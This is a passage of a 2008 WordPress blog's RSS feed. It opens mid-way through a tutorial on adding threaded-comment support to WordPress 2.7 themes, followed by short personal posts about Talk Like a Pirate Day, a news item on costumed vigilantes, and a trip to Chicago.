<li>The wp_list_comments() function now outputs all the comments. It does threading, the classes, everything new.</li>
<li>There&#8217;s a new navigation section to do comment paging.</li>
</ul>
<h4>The Power of Javascript</h4>
<p>To support the new Javascript functionality with comment threading, some minor bits of code are needed:</p>
<p>First, in the header.php, add this line immediately before the call to wp_head():</p>
<pre class="brush: php;">if ( is_singular() ) wp_enqueue_script( 'comment-reply' );</pre>
<p>That code adds the comment-reply javascript to the single post pages, letting the comment reply links work correctly. WordPress specifically does NOT do this itself, for the reason that use of this script requires certain naming conventions and parameters in the comment form, which you&#8217;ll have to add.</p>
<p>So, your comment form has a new parameter that you have to add:</p>
<pre class="brush: php;">&lt;?php comment_id_fields(); ?&gt;</pre>
<p>This adds a bit of code to your form which makes it display two hidden inputs: comment_post_ID and comment_parent. Your form probably had the comment_post_ID before, so you need to remove it. The comment_parent is there for the javascript, so that replies to comments get threaded properly.</p>
<p>Also, your comment textarea MUST have an id=&#8221;comment&#8221;. The javascript expects it for focus purposes. If you used anything else, change it. Note that because of this, no other element on your page can have the &#8220;comment&#8221; ID.</p>
<p>Finally, the entire comment form MUST be surrounded by a DIV with an id=&#8221;respond&#8221;. In some previous themes (including the default ones), there would be an anchor tag like this:</p>
<pre class="brush: xml;">&lt;a id=&quot;respond&quot;&gt;&lt;/a&gt;</pre>
<p>This was there to allow the link from the front page to go directly to the respond section when there were no comments already. That still happens, but now there&#8217;s a double purpose. The javascript moves the comment form to where the reply link is, so instead of it being an anchor, it needs to be a DIV that surrounds the comment form.</p>
<p>So, remove that anchor, and add a DIV with an id=&#8221;respond&#8221; around the entire comment form. The link from the front page still works this way with all modern browsers, and the javascript can now move the form around on the page as needed.</p>
<p>Next, you can replace the call to your normal &#8220;Leave a Comment&#8221; text with something like this:</p>
<pre class="brush: php;">
&lt;h3&gt;&lt;?php comment_form_title(); ?&gt;&lt;/h3&gt;
</pre>
<p>This makes a comment form title of &#8220;Leave a Reply&#8221; which will change to &#8220;Leave a Reply to Whoever&#8221; when somebody is replying directly to another person. You can customize this, if you like, with two parameters, like so:</p>
<pre class="brush: php;">&lt;?php comment_form_title( 'Leave a Reply', 'Leave a Reply to %s' ); ?&gt;</pre>
<p>The %s will be replaced with the person&#8217;s name. This will only happen when the javascript isn&#8217;t working and the reply links have to cause a page refresh. So it&#8217;s usually not worth customizing much. Still, not everybody runs javascript and so this is nice to let them know who they are replying to.</p>
<p>Finally, you&#8217;ll notice that when somebody clicks &#8220;reply&#8221; and the comment form appears there, maybe they decide to cancel instead. So, that cancel link needs to be in your respond section. Here&#8217;s the code to do that, just put it right below your &#8220;leave a message&#8221; header in the comment form area:</p>
<pre class="brush: php;">
&lt;div id=&quot;cancel-comment-reply&quot;&gt;
	&lt;small&gt;&lt;?php cancel_comment_reply_link() ?&gt;&lt;/small&gt;&lt;/div&gt;
</pre>
<p>That&#8217;s pretty much it for making the AJAX work. With this, the new features on the Settings-&gt;Discussion panel will work. Obviously, you can modify this somewhat as needed for your theme, these are just general principles that you&#8217;ll need to use.</p>
<h4>Styling</h4>
<p>Now that you have it working, there&#8217;s plenty of new styling you can add to comments. The new comments loop automatically puts every comment into an LI tag, and threads them as well, with embedded UL/LI tags. It also adds a ton of classes on all these LIs which surround every comment in this fashion:</p>
<ul>
<li>comment, trackback, pingback classes get added depending on the type of the comment.</li>
<li>byuser gets added if the comment is by a registered user of the site.</li>
<li>comment-author-authorname gets added for specific registered users.</li>
<li>bypostauthor gets added if the comment is by the author of the post the comment is attached to.</li>
<li>odd and even classes are added to odd and even numbered comments</li>
<li>alt is added to every other comment</li>
<li>thread-odd, thread-even, and thread-alt classes are the same as the odd/even/alt classes, but these only apply to the top level of each set of comments and replies</li>
<li>depth-1 is added to the top level comments, depth-2 to the next level, and so on.</li>
</ul>
<p>What&#8217;s more, a comment_class filter is provided to allow you to add your own classes. Here&#8217;s an example of that. This example function adds a <a href="http://microid.org/">microid</a> to every comment with the microid for the comment authors given URL and email address. This sort of thing could be done in a plugin or a theme&#8217;s functions.php file, whatever.</p>
<pre class="brush: php;">
// add a microid to all the comments
function comment_add_microid($classes) {
	$c_email=get_comment_author_email();
	$c_url=get_comment_author_url();
	if (!empty($c_email) &amp;&amp; !empty($c_url)) {
		$microid = 'microid-mailto+http:sha1:' . sha1(sha1('mailto:'.$c_email).sha1($c_url));
		$classes[] = $microid;
	}
	return $classes;
}
add_filter('comment_class','comment_add_microid');
</pre>
<p>Simple and effective. It just adds the class to the given array of classes and lets the comment display functions take care of the rest.</p>
<p>And there you have it. It&#8217;s not hard to support the new functions. And if you need to customize your theme&#8217;s comments section even more, wp_list_comments() supports a number of parameters. Most of this is not documented yet, because WordPress 2.7 is not out until November. However, the code is relatively straightforward, and anybody with a good understanding of WordPress should be able to work it out.</p>
<p>Additional: A lot of people keep asking me for a full-fledged example. Really, I recommend that you examine the comments.php file in the default theme in the 2.7 beta versions. However, the actual comments.php file I&#8217;m using on this site can be found here: <a href="http://ottodestruct.com/comments.phps">http://ottodestruct.com/comments.phps</a>, if it helps you any. It has the code I&#8217;ve described in this article, pretty much verbatim. The only additions to it are a couple of extra options on the wp_list_comments() call, such as avatar_size and reply_text.</p>

<p><a href="http://feedads.g.doubleclick.net/~a/7Gpy138-9D4tS0pBndY03aRyEJc/0/da"><img src="http://feedads.g.doubleclick.net/~a/7Gpy138-9D4tS0pBndY03aRyEJc/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/7Gpy138-9D4tS0pBndY03aRyEJc/1/da"><img src="http://feedads.g.doubleclick.net/~a/7Gpy138-9D4tS0pBndY03aRyEJc/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ottodestruct?a=LDNFLLPHaSU:EYs6Rbx5amA:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=LDNFLLPHaSU:EYs6Rbx5amA:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=LDNFLLPHaSU:EYs6Rbx5amA:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=LDNFLLPHaSU:EYs6Rbx5amA:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=LDNFLLPHaSU:EYs6Rbx5amA:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ottodestruct?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=LDNFLLPHaSU:EYs6Rbx5amA:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=LDNFLLPHaSU:EYs6Rbx5amA:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/ottodestruct/~4/LDNFLLPHaSU" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2008/wordpress-27-comments-enhancements/feed/</wfw:commentRss>
		<slash:comments>391</slash:comments>
	<georss:point>35.1461296 -90.0535583</georss:point>
	<feedburner:origLink>http://ottodestruct.com/blog/2008/wordpress-27-comments-enhancements/</feedburner:origLink></item>
		<item>
		<title>Happy Talk Like a Pirate Day!</title>
		<link>http://feedproxy.google.com/~r/ottodestruct/~3/237WgmPadWA/</link>
		<comments>http://ottodestruct.com/blog/2008/happy-talk-like-a-pirate-day/#comments</comments>
		<pubDate>Fri, 19 Sep 2008 16:03:26 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Geekery]]></category>
		<category><![CDATA[General Spew]]></category>
		<category><![CDATA[Linkery]]></category>
		<category><![CDATA[beer]]></category>
		<category><![CDATA[grog]]></category>
		<category><![CDATA[itlapd]]></category>
		<category><![CDATA[pirate]]></category>
		<category><![CDATA[pirate day]]></category>
		<category><![CDATA[september 19]]></category>
		<category><![CDATA[talklikeapirate]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/?p=419</guid>
		<description>Ahoy!
In celebration o&amp;#8217; International Talk Like a Pirate Day, all posts on me blog will be translated into pirate, for today only.
Remember, Talk Like a Pirate Day only comes once a year, so get out thar and drink some grog, lads!</description>
			<content:encoded><![CDATA[<fb:share-button href="http://ottodestruct.com/blog/2008/happy-talk-like-a-pirate-day/" type="box_count"></fb:share-button><p><a href="http://talklikeapirate.com"><img class="size-thumbnail alignleft wp-image-420" title="talk_like_a_pirate_day" src="http://ottodestruct.com/blog/wp-content/uploads/2008/09/talk_like_a_pirate_day1-150x150.png" alt="Talk Like a Pirate Day Logo" width="150" height="150" /></a></p>
<p>Ahoy!</p>
<p>In celebration o&#8217; <a href="http://www.talklikeapirate.com">International Talk Like a Pirate Day</a>, all posts on me blog will be translated into pirate, for today only.</p>
<p>Remember, Talk Like a Pirate Day only comes once a year, so get out thar and drink some grog, lads!</p>

<p><a href="http://feedads.g.doubleclick.net/~a/Z7IQAtv_VraH2zvDwNu2qOo49lg/0/da"><img src="http://feedads.g.doubleclick.net/~a/Z7IQAtv_VraH2zvDwNu2qOo49lg/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/Z7IQAtv_VraH2zvDwNu2qOo49lg/1/da"><img src="http://feedads.g.doubleclick.net/~a/Z7IQAtv_VraH2zvDwNu2qOo49lg/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ottodestruct?a=237WgmPadWA:kmuxHCrLlEE:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=237WgmPadWA:kmuxHCrLlEE:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=237WgmPadWA:kmuxHCrLlEE:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=237WgmPadWA:kmuxHCrLlEE:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=237WgmPadWA:kmuxHCrLlEE:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ottodestruct?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=237WgmPadWA:kmuxHCrLlEE:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=237WgmPadWA:kmuxHCrLlEE:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/ottodestruct/~4/237WgmPadWA" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2008/happy-talk-like-a-pirate-day/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<georss:point>35.1461296 -90.0535583</georss:point>
		<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2008/09/talk_like_a_pirate_day1-150x150.png" />
		<media:content url="http://ottodestruct.com/blog/wp-content/uploads/2008/09/talk_like_a_pirate_day1.png" medium="image">
			<media:title type="html">talk_like_a_pirate_day</media:title>
			<media:description type="html">Talk Like a Pirate Day Logo</media:description>
			<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2008/09/talk_like_a_pirate_day1-150x150.png" />
		</media:content>
	<feedburner:origLink>http://ottodestruct.com/blog/2008/happy-talk-like-a-pirate-day/</feedburner:origLink></item>
		<item>
		<title>Ninjas, taking back the streets!</title>
		<link>http://feedproxy.google.com/~r/ottodestruct/~3/vnIQrZzTZ6s/</link>
		<comments>http://ottodestruct.com/blog/2008/ninjas-taking-back-the-streets/#comments</comments>
		<pubDate>Wed, 27 Aug 2008 16:21:02 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Geekery]]></category>
		<category><![CDATA[General Spew]]></category>
		<category><![CDATA[Linkery]]></category>
		<category><![CDATA[drugs]]></category>
		<category><![CDATA[nerds]]></category>
		<category><![CDATA[new jersey]]></category>
		<category><![CDATA[ninja]]></category>
		<category><![CDATA[shinobi]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/?p=411</guid>
		<description>I guess if you&amp;#8217;re going to be a vigilante, then you may as well try to do it with a little style.
The Clifton police in New Jersey recently arrested a couple dudes who were dressed like ninjas and armed with &amp;#8220;Asian martial arts weapons&amp;#8221; while they were delivering warning letters to drug dealers and users.
It [...]</description>
			<content:encoded><![CDATA[<fb:share-button href="http://ottodestruct.com/blog/2008/ninjas-taking-back-the-streets/" type="box_count"></fb:share-button><div id="attachment_412" class="wp-caption alignright" style="width: 310px"><a rel="attachment wp-att-412" href="http://ottodestruct.com/blog/2008/08/27/ninjas-taking-back-the-streets/ninja_true20ninjas1/"><img class="size-medium wp-image-412" title="Ninja" src="http://ottodestruct.com/blog/wp-content/uploads/2008/08/ninja_true20ninjas1-300x196.gif" alt="What is the plural of &quot;ninja&quot; anyway?" width="300" height="196" /></a><p class="wp-caption-text">What is the plural of &quot;ninja&quot; anyway?</p></div>
<p>I guess if you&#8217;re going to be a vigilante, then you may as well try to do it with a little style.</p>
<p>The Clifton police in New Jersey <a href="http://www.10tv.com/live/content/nationalnews/stories/2008/08/22/ninja.html?sid=102">recently arrested</a> a couple dudes who were dressed like ninjas and armed with &#8220;Asian martial arts weapons&#8221; while they were delivering warning letters to drug dealers and users.</p>
<p>It gets better. They claimed to be &#8220;Shinobi warriors&#8221;, and had knives, throwing stars, swords, nunchucks, and bow and arrows on them. They got charged with weapons possession and one of them was charged with leaving a harassing letter for his ex-girlfriend (if you&#8217;re going to be harassing drug dealers, then I guess you might as well get some personal grudges settled at the same time).</p>
<p>The letters stated that the &#8220;Shinobi will stop your cruel and sadistic intentions with justified yet, merciful force.&#8221; and accused the dealers with having &#8220;committed sin of passing impurity&#8221; to others and that the &#8220;wind guides us to those of impure heart and intent.&#8221;</p>
<p>Nerds with weapons. Wow. This could be an extremely entertaining trend. <img src='http://ottodestruct.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>

<p><a href="http://feedads.g.doubleclick.net/~a/0qt5YWy8IAdaCpPo01Sm0kT9_dY/0/da"><img src="http://feedads.g.doubleclick.net/~a/0qt5YWy8IAdaCpPo01Sm0kT9_dY/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/0qt5YWy8IAdaCpPo01Sm0kT9_dY/1/da"><img src="http://feedads.g.doubleclick.net/~a/0qt5YWy8IAdaCpPo01Sm0kT9_dY/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ottodestruct?a=vnIQrZzTZ6s:lkCHNqgJh8k:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=vnIQrZzTZ6s:lkCHNqgJh8k:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=vnIQrZzTZ6s:lkCHNqgJh8k:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=vnIQrZzTZ6s:lkCHNqgJh8k:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=vnIQrZzTZ6s:lkCHNqgJh8k:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ottodestruct?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=vnIQrZzTZ6s:lkCHNqgJh8k:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=vnIQrZzTZ6s:lkCHNqgJh8k:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/ottodestruct/~4/vnIQrZzTZ6s" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2008/ninjas-taking-back-the-streets/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
	<georss:point>35.1461258 -90.0536575</georss:point>
		<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2008/08/ninja_true20ninjas1-150x98.gif" />
		<media:content url="http://ottodestruct.com/blog/wp-content/uploads/2008/08/ninja_true20ninjas1.gif" medium="image">
			<media:title type="html">Ninja</media:title>
			<media:description type="html">What is the plural of "ninja" anyway?</media:description>
			<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2008/08/ninja_true20ninjas1-150x98.gif" />
		</media:content>
	<feedburner:origLink>http://ottodestruct.com/blog/2008/ninjas-taking-back-the-streets/</feedburner:origLink></item>
		<item>
		<title>Chicago Trip</title>
		<link>http://feedproxy.google.com/~r/ottodestruct/~3/_FXxpwqltvE/</link>
		<comments>http://ottodestruct.com/blog/2008/chicago-trip/#comments</comments>
		<pubDate>Mon, 18 Aug 2008 20:42:59 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[General Spew]]></category>
		<category><![CDATA[Placery]]></category>
		<category><![CDATA[blue angels]]></category>
		<category><![CDATA[chicago]]></category>
		<category><![CDATA[chicago air and water show]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/?p=387</guid>
		<description>So, you may have noticed the pictures appearing here this weekend. Or you may not have. I was playing with the blogging-from-the-phone thing that you can do with Flickr. I&amp;#8217;m not entirely pleased with the results, so I deleted those, and now I&amp;#8217;m playing with WordPress&amp;#8217;s gallery feature instead.
Click on any of the images for [...]</description>
			<content:encoded><![CDATA[<fb:share-button href="http://ottodestruct.com/blog/2008/chicago-trip/" type="box_count"></fb:share-button><p>So, you may have noticed the pictures appearing here this weekend. Or you may not have. I was playing with the blogging-from-the-phone thing that you can do with Flickr. I&#8217;m not entirely pleased with the results, so I deleted those, and now I&#8217;m playing with WordPress&#8217;s gallery feature instead.</p>
<p>Click on any of the images for more details on it.</p>

<a href='http://ottodestruct.com/blog/2008/chicago-trip/2775873304_28de83e999_o/' title='Buckingham Fountain'><img width="150" height="150" src="http://ottodestruct.com/blog/wp-content/uploads/2008/08/2775873304_28de83e999_o-150x150.jpg" class="attachment-thumbnail" alt="Buckingham Fountain" title="Buckingham Fountain" /></a>
<a href='http://ottodestruct.com/blog/2008/chicago-trip/2765219481_a5c5398c5c_o/' title='Serene'><img width="150" height="150" src="http://ottodestruct.com/blog/wp-content/uploads/2008/08/2765219481_a5c5398c5c_o-150x150.jpg" class="attachment-thumbnail" alt="Serene" title="Serene" /></a>
<a href='http://ottodestruct.com/blog/2008/chicago-trip/2765526905_992ee6e49b_o/' title='Cool swirls in the air'><img width="150" height="150" src="http://ottodestruct.com/blog/wp-content/uploads/2008/08/2765526905_992ee6e49b_o-150x150.jpg" class="attachment-thumbnail" alt="Cool swirls in the air" title="Cool swirls in the air" /></a>
<a href='http://ottodestruct.com/blog/2008/chicago-trip/2766194775_29b15a33a0_o/' title='Moon over the lake'><img width="150" height="150" src="http://ottodestruct.com/blog/wp-content/uploads/2008/08/2766194775_29b15a33a0_o-150x150.jpg" class="attachment-thumbnail" alt="Moon over the lake" title="Moon over the lake" /></a>
<a href='http://ottodestruct.com/blog/2008/chicago-trip/2768496742_07571fe618_o/' title='Cloud Gate'><img width="150" height="150" src="http://ottodestruct.com/blog/wp-content/uploads/2008/08/2768496742_07571fe618_o-150x150.jpg" class="attachment-thumbnail" alt="Cloud Gate, aka &quot;The Bean&quot;" title="Cloud Gate" /></a>
<a href='http://ottodestruct.com/blog/2008/chicago-trip/2768539760_a538bd7745_o/' title='Columns and fountain in Millennium Park'><img width="150" height="150" src="http://ottodestruct.com/blog/wp-content/uploads/2008/08/2768539760_a538bd7745_o-150x150.jpg" class="attachment-thumbnail" alt="Columns and fountain in Millennium Park" title="Columns and fountain in Millennium Park" /></a>
<a href='http://ottodestruct.com/blog/2008/chicago-trip/2775001489_f49fcefcfb_o/' title='Airplanes'><img width="150" height="150" src="http://ottodestruct.com/blog/wp-content/uploads/2008/08/2775001489_f49fcefcfb_o-150x150.jpg" class="attachment-thumbnail" alt="Some airplanes doing their thing." title="Airplanes" /></a>
<a href='http://ottodestruct.com/blog/2008/chicago-trip/2774988745_23f73a3ed7_o/' title='Farm'><img width="150" height="150" src="http://ottodestruct.com/blog/wp-content/uploads/2008/08/2774988745_23f73a3ed7_o-150x150.jpg" class="attachment-thumbnail" alt="Farm in downtown Chicago" title="Farm" /></a>
<a href='http://ottodestruct.com/blog/2008/chicago-trip/2775845084_382dffb6e0_o/' title='The Billy Goat Tavern'><img width="150" height="150" src="http://ottodestruct.com/blog/wp-content/uploads/2008/08/2775845084_382dffb6e0_o-150x150.jpg" class="attachment-thumbnail" alt="The Billy Goat Tavern" title="The Billy Goat Tavern" /></a>
<a href='http://ottodestruct.com/blog/2008/chicago-trip/2774979667_90c27fd590_o/' title='Willie'><img width="150" height="150" src="http://ottodestruct.com/blog/wp-content/uploads/2008/08/2774979667_90c27fd590_o-150x150.jpg" class="attachment-thumbnail" alt="Willie" title="Willie" /></a>
<a href='http://ottodestruct.com/blog/2008/chicago-trip/2771547458_575e7f3bee_o/' title='Shedd Aquarium'><img width="150" height="150" src="http://ottodestruct.com/blog/wp-content/uploads/2008/08/2771547458_575e7f3bee_o-150x150.jpg" class="attachment-thumbnail" alt="Shedd Aquarium, across an expanse of field" title="Shedd Aquarium" /></a>
<a href='http://ottodestruct.com/blog/2008/chicago-trip/2775845914_50512bfced_o/' title='Blue Screen'><img width="150" height="150" src="http://ottodestruct.com/blog/wp-content/uploads/2008/08/2775845914_50512bfced_o-150x150.jpg" class="attachment-thumbnail" alt="Blue Screen at the Aquarium" title="Blue Screen" /></a>


<p><a href="http://feedads.g.doubleclick.net/~a/zEQYrNj1Aa_zsXWTNSWnua_7xJI/0/da"><img src="http://feedads.g.doubleclick.net/~a/zEQYrNj1Aa_zsXWTNSWnua_7xJI/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/zEQYrNj1Aa_zsXWTNSWnua_7xJI/1/da"><img src="http://feedads.g.doubleclick.net/~a/zEQYrNj1Aa_zsXWTNSWnua_7xJI/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ottodestruct?a=_FXxpwqltvE:uJsCIGoawRs:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=_FXxpwqltvE:uJsCIGoawRs:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=_FXxpwqltvE:uJsCIGoawRs:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=_FXxpwqltvE:uJsCIGoawRs:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=_FXxpwqltvE:uJsCIGoawRs:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ottodestruct?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=_FXxpwqltvE:uJsCIGoawRs:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=_FXxpwqltvE:uJsCIGoawRs:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/ottodestruct/~4/_FXxpwqltvE" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2008/chicago-trip/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<georss:point>41.8864594 -87.6121063</georss:point>
		<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2008/08/2775873304_28de83e999_o-150x150.jpg" />
		<media:content url="http://ottodestruct.com/blog/wp-content/uploads/2008/08/2775873304_28de83e999_o.jpg" medium="image">
			<media:title type="html">Buckingham Fountain</media:title>
			<media:description type="html">Buckingham Fountain</media:description>
			<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2008/08/2775873304_28de83e999_o-150x150.jpg" />
		</media:content>
		<media:content url="http://ottodestruct.com/blog/wp-content/uploads/2008/08/2765219481_a5c5398c5c_o.jpg" medium="image">
			<media:title type="html">Serene</media:title>
			<media:description type="html">Serene</media:description>
			<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2008/08/2765219481_a5c5398c5c_o-150x150.jpg" />
		</media:content>
		<media:content url="http://ottodestruct.com/blog/wp-content/uploads/2008/08/2765526905_992ee6e49b_o.jpg" medium="image">
			<media:title type="html">Cool swirls in the air</media:title>
			<media:description type="html">Cool swirls in the air</media:description>
			<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2008/08/2765526905_992ee6e49b_o-150x150.jpg" />
		</media:content>
		<media:content url="http://ottodestruct.com/blog/wp-content/uploads/2008/08/2766194775_29b15a33a0_o.jpg" medium="image">
			<media:title type="html">Moon over the lake</media:title>
			<media:description type="html">Moon over the lake</media:description>
			<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2008/08/2766194775_29b15a33a0_o-150x150.jpg" />
		</media:content>
		<media:content url="http://ottodestruct.com/blog/wp-content/uploads/2008/08/2768496742_07571fe618_o.jpg" medium="image">
			<media:title type="html">Cloud Gate</media:title>
			<media:description type="html">Cloud Gate, aka "The Bean"</media:description>
			<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2008/08/2768496742_07571fe618_o-150x150.jpg" />
		</media:content>
		<media:content url="http://ottodestruct.com/blog/wp-content/uploads/2008/08/2768539760_a538bd7745_o.jpg" medium="image">
			<media:title type="html">Columns and fountain in Millennium Park</media:title>
			<media:description type="html">Columns and fountain in Millennium Park</media:description>
			<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2008/08/2768539760_a538bd7745_o-150x150.jpg" />
		</media:content>
		<media:content url="http://ottodestruct.com/blog/wp-content/uploads/2008/08/2775001489_f49fcefcfb_o.jpg" medium="image">
			<media:title type="html">Airplanes</media:title>
			<media:description type="html">Some airplanes doing their thing.</media:description>
			<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2008/08/2775001489_f49fcefcfb_o-150x150.jpg" />
		</media:content>
		<media:content url="http://ottodestruct.com/blog/wp-content/uploads/2008/08/2774988745_23f73a3ed7_o.jpg" medium="image">
			<media:title type="html">Farm</media:title>
			<media:description type="html">Farm in downtown Chicago</media:description>
			<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2008/08/2774988745_23f73a3ed7_o-150x150.jpg" />
		</media:content>
		<media:content url="http://ottodestruct.com/blog/wp-content/uploads/2008/08/2775845084_382dffb6e0_o.jpg" medium="image">
			<media:title type="html">The Billy Goat Tavern</media:title>
			<media:description type="html">The Billy Goat Tavern</media:description>
			<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2008/08/2775845084_382dffb6e0_o-150x150.jpg" />
		</media:content>
		<media:content url="http://ottodestruct.com/blog/wp-content/uploads/2008/08/2774979667_90c27fd590_o.jpg" medium="image">
			<media:title type="html">Willie</media:title>
			<media:description type="html">Willie</media:description>
			<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2008/08/2774979667_90c27fd590_o-150x150.jpg" />
		</media:content>
		<media:content url="http://ottodestruct.com/blog/wp-content/uploads/2008/08/2771547458_575e7f3bee_o.jpg" medium="image">
			<media:title type="html">Shedd Aquarium</media:title>
			<media:description type="html">Shedd Aquarium, across an expanse of field</media:description>
			<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2008/08/2771547458_575e7f3bee_o-150x150.jpg" />
		</media:content>
		<media:content url="http://ottodestruct.com/blog/wp-content/uploads/2008/08/2775845914_50512bfced_o.jpg" medium="image">
			<media:title type="html">Blue Screen</media:title>
			<media:description type="html">Blue Screen at the Aquarium</media:description>
			<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2008/08/2775845914_50512bfced_o-150x150.jpg" />
		</media:content>
	<feedburner:origLink>http://ottodestruct.com/blog/2008/chicago-trip/</feedburner:origLink></item>
		<item>
		<title>Chicago Air and Water Show</title>
		<link>http://feedproxy.google.com/~r/ottodestruct/~3/H2gmkeWykrI/</link>
		<comments>http://ottodestruct.com/blog/2008/chicago-air-and-water-show/#comments</comments>
		<pubDate>Wed, 13 Aug 2008 19:19:32 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[General Spew]]></category>
		<category><![CDATA[Placery]]></category>
		<category><![CDATA[chicago]]></category>
		<category><![CDATA[chicago air and water show]]></category>
		<category><![CDATA[lake]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/?p=359</guid>
		<description>I&amp;#8217;m taking the weekend off to go up to Chicago for the Chicago Air and Water Show, and to hang out on my friend Chuck&amp;#8217;s boat. Should be a good time.
Expect more than a few Twitter posts while I&amp;#8217;m there. For this reason, I might disable the auto-blog-posting of those during this weekend. If so, [...]</description>
			<content:encoded><![CDATA[<fb:share-button href="http://ottodestruct.com/blog/2008/chicago-air-and-water-show/" type="box_count"></fb:share-button><div id="attachment_361" class="wp-caption alignright" style="width: 310px"><a rel="attachment wp-att-361" href="http://ottodestruct.com/blog/2008/08/13/chicago-air-and-water-show/chicago_air_26_water_show1/"><img class="size-medium wp-image-361" title="chicago_air_water_show" src="http://ottodestruct.com/blog/wp-content/uploads/2008/08/chicago_air_26_water_show1-300x200.jpg" alt="Chicago Air and Water Show 2006" width="300" height="200" /></a><p class="wp-caption-text">Chicago Air and Water Show 2006</p></div>
<p>I&#8217;m taking the weekend off to go up to Chicago for the <a href="http://en.wikipedia.org/wiki/Chicago_Air_&amp;_Water_Show">Chicago Air and Water Show</a>, and to hang out on my friend Chuck&#8217;s boat. Should be a good time.</p>
<p>Expect more than a few Twitter posts while I&#8217;m there. For this reason, I might disable the auto-blog-posting of those during this weekend. If so, you can still see the latest ones on my Twitter feed, to see what I&#8217;m up to.</p>
